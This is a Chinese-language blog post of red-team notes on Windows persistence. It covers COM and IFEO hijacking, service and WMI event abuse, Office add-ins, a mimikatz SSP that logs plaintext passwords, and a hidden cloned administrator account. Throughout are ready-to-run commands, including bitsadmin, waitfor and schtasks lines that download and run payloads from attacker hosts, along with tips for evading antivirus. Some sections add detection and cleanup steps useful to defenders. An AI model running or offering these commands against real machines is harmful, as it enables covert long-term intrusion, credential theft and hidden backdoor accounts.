Windows单机权限维持
Windows单机权限维持
关键点:免杀+自启动
用户权限
快捷方式
常见的渗透框架都支持快捷方式的生成和移动到自启动目录中,原理几乎都是改写快捷方式的target
。
还有很多其他脚本工具可以开发恶意快捷方式。
文件扩展名默认操作
Windows中,每个文件扩展名都与一个默认程序关联,关联通过注册表实现。
指定扩展名处理程序的注册表有2处:
1 | HKEY_CLASSES_ROOT # Global |
用户试图打开文件时,先在HKEY_USERS查找是否存在扩展名注册表项。如果没有,再到HKEY_CLASSES_ROOT查找。
示例:
ProxyApp会处理扩展,创建一个新进程,同时默认程序也会正常运行,用户不会感受到差异。
com组件劫持
COM(Component Object Model)可以理解为一套给C/C++用的接口,或者说一个通用的ABI规范,只要遵从这个规范,不管用什么语言写的程序都可以互相调用。劫持com组件不需要管理员权限,因为在HKCU中注册的类优先级高于HKLM中的。但有时会仅从HKLM中加载对象,以防止提权。
COM相关常见标志符:
1 | UUID : 代表COM |
COM调用过程:编写好一个COM组件,一般都需要注册到注册表中,当调用COM组件的这个功能的时候,程序会进注册表进行读取相应位置的DLL或者EXE,加载到进程还是线程中供使用。
常被利用的键值:
1 | InprocServer/InprocServer32 # 动态链接库文件(dll)的路径 |
这些键所在的注册表项位置:
1 | HKEY_CURRENT_USER\Software\Classes\CLSID |
常用劫持手法:
1.增加缺少的CLSID进行利用
2.修改原有CLSID加载的程序
3.替换掉CLSID下加载路径的程序
寻找可劫持com keys
1.process monitor(麻烦)
过滤设置如下4条:
1 | Operation is RegOpenKey |
然后打开一些常用应用,process monitor就会捕获到可以用于劫持的,将结果导出为CSV文件。
再使用acCOMplice筛选出最终可劫持。
2.在计划任务中寻找
Get-ScheduledTaskComHandler.ps1
使用方式:
1 | Import-Module .\Get-ScheduledTaskComHandler.ps1 |
无文件执行
ScriptletURL
键值用于指定任意远程.sct
文件url地址。
使用以下命令进行激活com类,同时会执行:
1 | rundll32.exe -sta {AAAA1111-0000-0000-0000-0000FEEDACDC} |
InprocServer32
POC: COM-Object-hijacking
这种利用方式对DLL的构造有所要求。
LocalServer32
篡改后需要通过powershell命令激活:
1 | [activator]::CreateInstance([type]::GetTypeFromCLSID("45EAE363-122A-445A-97B6-3DE890E786F8")) |
TreatAs/ProgID
TreatAs是,可以被用于将COM对象重定向到另一个COM对象。
step1.在HKCU注册创建恶意CLSID
step2.在合法的CLSID下添加键TreatAs,内容为恶意CLSID
一个CLSID会被一个或多个ProgID所指向,可以直接篡改指向的CLSID。(但我觉得还是改TreatAs靠谱)
office
templates
Office会创建一个用于存放模版的文件夹,每次Office应用打开时会加载默认模板。如果把恶意宏代码嵌入到默认模板中,就可以利用于权限维持。
1 | C:\Users\zhangsan\AppData\Roaming\Microsoft\Templates |
add-ins
Office add-ins本质上是DLL文件,但根据应用程序后缀有所不同,例如word的是.wll
,excel的是xll
。每次应用程序打开时都会加载其对应add-ins。
通过powershell命令查找放置word程序的add-ins存放文件夹:
1 | Get-ChildItem "hkcu:\Software\Microsoft\Office\16.0\Word\Security\Trusted Locations" |
查找结果应该类似于:C:\User\Admin\AppData\Roaming\Microsoft\Word\Startup
将恶意dll放置到文件夹下,并根据应用程序修改其后缀,比如此处应该为hack.wll
。
具体利用参照:Office-Persistence
office test
在开发阶段,Office应用会使用Perf键来加载dll进行性能评估。因此可利用于权限维持。
1 | reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d C:\tmp\pentestlab.dll |
屏幕保护程序
主要是对以下几个注册表项的篡改:
1 | HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE |
屏幕保护程序是.src
可执行文件,因此篡改时后缀可修改为.exe
也能正常执行。
1 | reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\pentestlab.exe |
实际利用问题:
1.当用户回电脑前继续操作时“屏幕保护程序”中断,即会话将中断。
2.屏幕保护程序可能会被组策略禁用。
(3.感觉现在用屏保的人不多?
bitsadmin
Bitsadmin在win7及之后系统自带,可以用来创建上传或者下载任务,并且可以指定下载成功之后要进行什么命令。
作为后门利用:创建下载任务并执行命令。(无法自动启动,可能需要和别处联动)
示例1:
1 | bitsadmin /create backdoor |
示例2,利用regsvr32的文件不落地后门:
1 | bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.0.2.21:8080/FHXSd9.sct scrobj.dll" |
排查
1 | bitsadmin /list /allusers /verbose |
powershell配置文件
powershell配置文件是一个用户自定义环境并在会话启动时执行特定命令的powershell脚本。如果系统用户经常使用powershell,那么就可以利用配置文件实现持久后门。
示例1:
1 | echo $profile |
示例2,比1隐蔽:
1 | echo $profile |
示例3:
1 | echo $profile |
利用clr劫持.net
CLR(Common Language Runtime)是一个可由多种编程语言使用的运行环境(类似JRE)。
CLR是.NET Framework的主要执行引擎,核心功能包括内存管理、程序集加载、安全性、异常处理和线程同步。
利用相关变量:
1 | COR_ENABLE_PROFILING: The CLR connects to a profiler only if this environment variable exists and is set to 1. |
利用原理可以通俗解释为:所有.NET程序都会在CLR运行,如果设置了COR_ENABLE_PROFILING,那么COR_PROFILER指定的DLL会被加载到CLR中运行。即一旦.NET程序运行,COR_PROFILER指定的DLL就会被触发运行。
32位POC:
1 | wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1" |
64位POC:
1 | wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1" |
POC ref:Use CLR to maintain persistence
注意通过wmic命令修改环境变量可能会被杀软(360..)拦截,可以替换为通过powershell写注册表,效果是相同的:
1 | New-ItemProperty "HKCU:\Environment\" COR_ENABLE_PROFILING -value "1" -propertyType string | Out-Null |
排查
检查环境变量COR_ENABLE_PROFILING
和COR_PROFILER
检查注册表键值HKEY_CURRENT_USER\Software\Classes\CLSID\
LogonScript
注册表路径:HKCU\Environment\
创建字符串键:UserInitMprLogonScript
,键值设置为恶意程序绝对路径。
利用该方法可以一定程度上绕过杀软,但有些杀软优是先于Logon Scripts启动的。
排查
排查注册表键值HKCR\Environment\UserInitMprLogonScript
管理员权限
Winlogon Helper DLL
Winlogon是负责处理安全相关的用户交互界面的组件,例如登入、登出、在认证时加载用户信息、关机、锁屏等。
可以对以下注册表项进行篡改,注意程序需要放在system32:
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell |
使用命令修改:
1 | reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, pentestlab.exe" /f |
AddMonitor()
该权限维持方式源于14年Defcon22。
原理:print spooler service负责管理Windows系统中的打印作业,print spooler的API包含了一个函数AddMonitor()用于按照本地端口管理器并关联配置文件、数据、管理器文件。该函数通过创建注册表键来向spoolsv.exe
进程注入dll文件。
具体操作:t1013-addmonitor
排查
对应注册表项:
1 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors |
热键利用
sethc.exe 粘滞键
magnify.exe 放大镜后门
utilman.exe 实用程序
osk.exe 屏幕键盘
displayswitch.exe 扩展屏幕
atbroker.exe 辅助管理工具
narrator.exe 讲述人
Narrator
Win10中Narrator是一个屏幕阅读应用程序,可以被利用于无文件权限维持。
利用1
1.前往注册表位置:
1 | Computer\HKEY_CURRENT_USER\Software\Classes\AppXypsaf9f1qserqevf0sws76dx4k9a5206\Shell\open\command |
2.删除DelegateExecute
项
3.将默认项的值修改为要执行的命令
利用2
Narrator的一个与本地化设置无关的DLL,可以被替换为恶意DLL(不修改文件名)。
文件位置:C:\Windows\System32\Speech\Engines\TTS\MSTTSLocEnUS.DLL
修改服务
这种权限维持方式非常容易被发现,不推荐,但在防护很弱的环境下可以尝试使用。
修改服务一般通过这三种位置来完成:binPath、ImagePath、FailureCommand
binPath
sc
命令可以对服务进行操作,包括启动、暂停、停止、修改文件路径等。
示例:
Fax是win10中自带但一般不使用的服务,因此是个不错的修改选择。
1 | sc config Fax binPath= "C:\windows\system32\pentestlab.exe" |
还可以将该服务直接设置为自启动:
1 | sc config Fax binPath= "C:\Windows\System32\pentestlab.exe" start="auto" obj="LocalSystem" |
ImagePath
即常用的修改注册表键值的手段,例如:
1 | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time" /v ImagePath /t REG_SZ /d "C:\tmp\pentestlab.exe" |
FailureCommand
当某个服务启动失败或被中止时,可以执行某些操作。这个操作对于注册表项的键名为FailureCommand
,值为要执行的操作。
例如进行如下操作:
1 | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time" /v FailureCommand /t REG_SZ /d "C:\tmp\pentestlab.exe" |
之后再kill对应服务时,pentestlab.exe就会执行。
注意在具体服务属性中的Recovery,可以设置第1-3次失败时执行的操作,只将第一次设置为运行程序。
以及该方式应该非常容易被杀。
msdtc服务dll劫持
msdtc(Microsoft Distributed Transaction Coordinator)是Windows服务,负责协调数据库与web服务器。
服务启动时会从System32文件下加载3个dll文件:
1.oci.dll
2.SQLLib80.dll
3.xa80.dll
它们在注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
下。
一般情况下,System32文件夹下没有oci.dll
,因此可以把它劫持为恶意dll,如果同名需要管理员权限。
启动msdtc命令:net start msdtc
劫持后,dll运行权限为NT AUTHORITY\NETWORK SERVICE
。如果终端可执行msdtc -install
,权限能提升为对应用户权限。
默认情况下msdtc在主机重启后不会自启动:
1 | sc qc msdtc # 查看服务详情 |
创建服务
创建服务需要本地管理员权限。
cmd命令行:
1 | sc create pentestlab binpath= "cmd.exe /k C:\temp\pentestlab.exe" start="auto" obj="LocalSystem" |
powershell命令行:
1 | New-Service -Name "pentestlab" -BinaryPathName "C:\temp\pentestlab.exe" -Description "PentestLaboratories" -StartupType Automatic |
排查
autoruns工具检查已有的服务,并验证服务模块的合法性。如验证是否有文件签名、签名是否正常。
wmi事件
从攻防角度来看,WMI最强大的功能之一是WMI能够响应WMI事件,而WMI事件可用于响应几乎任何操作系统事件。有两类WMI事件,本地事件持续主机进程的生命周期,而永久WMI事件存储在WMI存储库中,以SYSTEM身份运行,并在重新引导后保持不变。
wmi事件订阅需要3步:
step1:注册事件过滤器,即事件的触发条件(__EventFilter)
step2:注册事件消费者,即触发事件时要执行的操作(EventConsumer)
step3:绑定事件消费者和过滤器,绑定以在事件触发时执行指定操作(__FilterToConsumerBinding)
传统mof
mof(Managed object format)是用于描述CIM(Common Information Model)类的语言。mof文件内容编译时会添加到wmi存储库。
文件内容示例,cmd.exe会在notepad.exe进程创建时执行:
1 | #PRAGMA NAMESPACE ("\\\\.\\root\\subscription") |
编译命令:
1 | mofcomp.exe .\wmi.mof |
该技术因会用到mof文件,因此不推荐。(有另一种wmi无mof文件权限维持的方式)
cmd
示例,pentestlab.exe会在每次主机开机60秒内执行:
1 | wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="PentestLab", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" |
powershell
示例,pentestlab.exe会在每次主机开机5分钟内执行:
1 | $FilterArgs = @{name='Pentestlab-WMI'; |
工具
参见Persistence – WMI Event Subscription文章末尾。
排查
使用autoRuns检查WMI订阅,并删除可疑的事件订阅。
或者使用powershell命令进行排查和清除:
1 | # 列出 |
明文账号记录
一般明文账号记录都会用到mimikatz,简述一下mimikatz的相关知识点和使用原理。
SSP(Security support provider)是用于扩展Windows的安全验证机制的API。LSASS应用程序会在Windows开机启动是加载SSP的多个dll文件,这也让黑客有机会注入任意一个SSP的dll文件来和LSASS进程进行交互并提取出进程空间中的所有密码,另外还能利用恶意SSP来patch进程。
想注入恶意SSP需要拥有administrator级别权限,方式有两种:
1.通过SSP DLL
2.注入内存
工具Mimikatz、Empire、PowerSploit均支持以上两种注入方式。
Empire和PowerSploit本质上还是调用的Mimikatz。
1.通过SSP DLL的方式
(a)将mimilib.dll
移动到C:\Windows\System32\
目录下。
(b)将mimilib.dll
添加到注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
项中。
1 | reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ |
(c)由于注册表已被篡改且DLL存储在系统中,因此mimilib.dll
在重新启动后持续存在。当域的用户再次通过系统进行身份验证时,将创建一个新文件C:\Windows\System32\kiwissp.log
记录帐户的凭据。
2.通过注入内存的方式
(a)
1 | mimikatz # privilege::debug |
(b)当用户再次通过系统进行身份验证时,将创建一个日志文件C:\Windows\System32\mimilsa.log
,包含文本形式的用户密码。注意该方式重启后失效。
排查
1.是否存在日志文件C:\Windows\System32\kiwissp.log
C:\Windows\System32\mimilsa.log
2.注册表项是否有新增可疑dllHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
Appinit
windows提供了允许将自定义dll加载到几乎所有应用程序进程的功能,可以利用于权限维持。
相关注册表项:
1 | # 默认是禁用appinit加载dll的功能,需要将LoadAppInit_DLLs值修改为1来启用 |
但该技术利用有个问题,由于几乎所有进程都会加载该dll,产生大量连接。
可以结合Didier Stevens开发的DLL来使用该技术。该DLL通过LoadDLLViaAppInit.bl.txt
配置文件来控制哪些程序加载哪个dll。
Netsh Helper
netsh被Windows用于执行与系统网络配置相关的任务,并在基于主机的Windows防火墙上进行修改。因为可以使用dll文件来扩展netsh的功能,所以能被利用于权限维持。
1 | netsh |
添加后,每次netsh启动时dll都会执行。但默认情况下netsh不会自启动。可以添加到开机启动的注册表项或者利用服务、计划任务。add helper
会将dll路径添加到注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh
中。
排查
查看对应注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh
。
Application Shimming注入dll
Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim)用于软件在不同版本win操作系统上的兼容性。使用该框架会创建shim作为程序和win操作系统之间的缓冲区,当程序执行时,如果需要使用shim数据库(.sdb)就会引用shim缓存。
该工具包(ACT)的功能之一InjectDLL
可以用于将dll注入到程序中。
step1.创建xxx.sdb
这一步可以在自己主机上执行,只要创建时参数设置无误。
(a)打开compatibility administrator程序,选择Create new Application Fix
,填写被注入dll程序的程序名与路径。
(b)在Compatibility Fixes
步骤中勾选InjectDLL
,并在选项Parameters
中的Command line
填写恶意dll路径。
step2.安装xxx.sdb
执行cmd命令:sdbinst xxx.sdb
tips: 通过sdbinst安装sdb会同时创建卸载程序,即在系统的programs and features
可以发现并卸载它。同时该sdb程序会被拷贝到C:\Windows\apppatch\CustomSDB
。通过工具sdb-explorer安装sdb可以避免卸载程序的创建与sdb拷贝。
映像劫持
传统
在注册表中sethc.exe
项添加一个Debugger字符,值为想要运行的程序路径。
1 | sethc.exe路径: |
或者直接执行命令:
1 | REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "Hack.exe程序路径" |
这样“debugger”键值的程序会替换原有程序运行,例如此处键入五下Shift执行sethc.exe程序时会执行程序Hack.exe。
新版
区别:传统映像劫持是替换,新的是在程序A静默退出结束后,会执行程序B。
执行以下命令修改注册表项,
1 | # 修改IFEO目录下sethc.exe的GlobalFlag值 |
当sethc.exe程序结束时,会执行Windows Error Reporting process(WerFault.exe),Hack.exe作为WerFault.exe的子进程运行。
排查与防御
1.直接排查对应注册表的值。
2.防御-修改系统配置UserAuthentication
(暂时未知SecurityLayer会不会影响该后门的利用)
UserAuthentication有两个值:
1 | 0:进行远程桌面前不需要用户身份验证。 |
将该参数设置为1时则可防止黑客利用远程桌面界面键入Shift。
命令:
1 | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 1 /f |
TimeProvider
TimeProvider被Windows系统用于从网络设备或客户端获取时间戳。它是通过调用system32文件夹下的dll文件实现的(win7中是w32time.dll),开机启动时会加载它的dll文件,因此可用于权限维持。
对应注册表项:
1 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient |
修改键值命令:
1 | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\temp\w32time.dll" |
但直接篡改系统的TimeProvider容易被检测到。
有大佬开发过自定义的TimeProvider,可以用于在操作系统注册为新的TimeProvider然后再修改它的注册表项键值。
清理
1 | rundll32.exe gametime.dll,Deregister |
waitfor
waitfor是通过信号用于网络中(同网段)主机同步的二进制文件,因此可被利用于文件下载、命令执行、权限维持。
该文件在C:\Windows\System32
目录下,需要本地管理员权限。
受害主机上执行:
1 | waitfor pentestlab && powershell IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.13:8080/pentestlaboratories'); |
攻击主机上执行:
1 | waitfor /s xxx.xxx.xxx.xxx /si pentestlab # /s [受害主机ip] |
但该技术用于权限维持有一个问题,命令执行完后waitfor.exe会退出。
解决方案:Waitfor-Persistence
该解决方案已经集成到了msf中:
1 | use exploit/windows/local/wmi_persistence |
后门账号
测试环境: win7
1.修改注册表权限
右键HKEY_LOCAL_MACHINE\SAM\SAM\
-权限-Administrators,允许完全控制。修改后重启注册表。
2.新建用户名以$
结尾的特殊账户
1 | net user defaultuser0$ passwd233 /add |
用户名$
结尾能在一些条件下隐藏,例如net user
无法读取到用户,但控制面板仍可发现。
3.导出注册表项并修改文件
(a)HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\defaultuser0$
右键导出为1.reg
(b)每个用户都有对应的注册表键值,将defaultuser0$
对应的文件HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9
右键导出为2.reg
(c)将管理员帐户Administrator对应的注册表键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
导出为3.reg
(d)将注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9
下键F的值替换为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
下键F的值,即2.reg
中键F的值替换成3.reg
中键F的值
4.删除特殊账户
1 | net user defaultuser0$ /del |
5.导入reg文件
1 | regedit /s 1.reg |
最终效果:控制面板不存在该帐户,通过net user
无法列出该帐户,计算机管理-本地用户和组-用户也无法列出该帐户。
利用注意:
1.管理员帐户是否被禁用,如果被禁用,那么克隆出的隐藏帐户也是被禁用状态。
2.在3389远程登录的利用上存在相同帐户的冲突关系,即同时登陆会导致对方下线。
3.F键的二进制数据含义
偏移量0x30:账户RID
偏移量0x38:启用还是禁用帐户,禁用1502,启用1402。
排查与清理
隐藏帐户的登录记录,可通过查看日志获取。
删除注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\
下对应帐户的键值(该层目录下+Names目录下)。
AppCertDlls
如果有进程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW或WinExec函数,那么此进程会获取HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls
注册表项,此项下的dll都会加载到进程。
常规系统自启动项
系统自启动目录
用户启动文件夹:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
系统启动文件夹:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
自启动注册表项
1 | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run |
Run和RunOnce注册表项在用户每次登录时运行。键名随意,键值为可执行文件的绝对路径。如果在这两个启动项下有多个程序,则这些程序的运行顺序并不确定。
Run项的值会一直存在,除非用户主动删除。RunOnce会在下一次重启时,运行指定键值的程序之前自动删除,即该键值下的程序只在下一次重启时启动一次。
RunServices和RunServicesOnce注册表项在登陆会话框第一次出现时在后台运行,或者在boot阶段运行(如果没有登陆过程)。
如果已提权,最好使用HKEY_LOCAL_MACHINE,而不是HKEY_CURRENT_USER,这样将在每次系统启动时执行,与验证的用户身份无关。
命令模板:
1 | reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe" |
OddvarMoe大佬发现的另两个注册表项位置,可以执行命令、程序或DLL:
1 | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe" |
除此之外还有很多别的自启动项:开机自启注册表位置整理
或者为了免杀还可以将运行脚本和加密payload分开存储到不同注册表项。Empire的Persistence Registry Module就是这样做的。
排查
工具:autoruns
系统计划任务
at[win xp/2003-]
示例,计划每个Saturday凌晨1:00点运行一次:
1 | at 1:00 /Every:Saturday MyDoor.bat |
参数解析:
1 | 1:00 # 指定任务运行时间,24小时制。 |
schtasks[win7/2008+]
所需权限:Administrators
示例1,计划每天凌晨8:00运行一次:
1 | SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdate" /sc daily /st 08:00 /tr "powershell.exe C:\Windows\System32\drivers\en-US\etc\Line.ps1" |
参数解析:
1 | /RU # 用指定用户帐户的权限运行任务。默认情况下使用本地计算机的当前用户的权限运行。 |
示例2,每当任何用户登录时任务都将运行:
1 | schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System |
排查
工具:autoruns
msf默认内置自动化维持功能
由于杀软,这样直接用基本没实际意义
文件隐藏
attrib命令
attrib命令是Windows系统自带的,用来显示或更改文件属性。
1 | attrib +s +h myshell.php |
排查
attrib命令或扫描工具。
参考
[1].权限维持之打造不一样的映像劫持后门
[2].渗透技巧——Windows系统的帐户隐藏
[3].Persistence_red-teaming_persistence
[4].第2篇:Windows权限维持–后门篇
[5].COM组件劫持原理与实践
[6].ATT&CK之后门持久化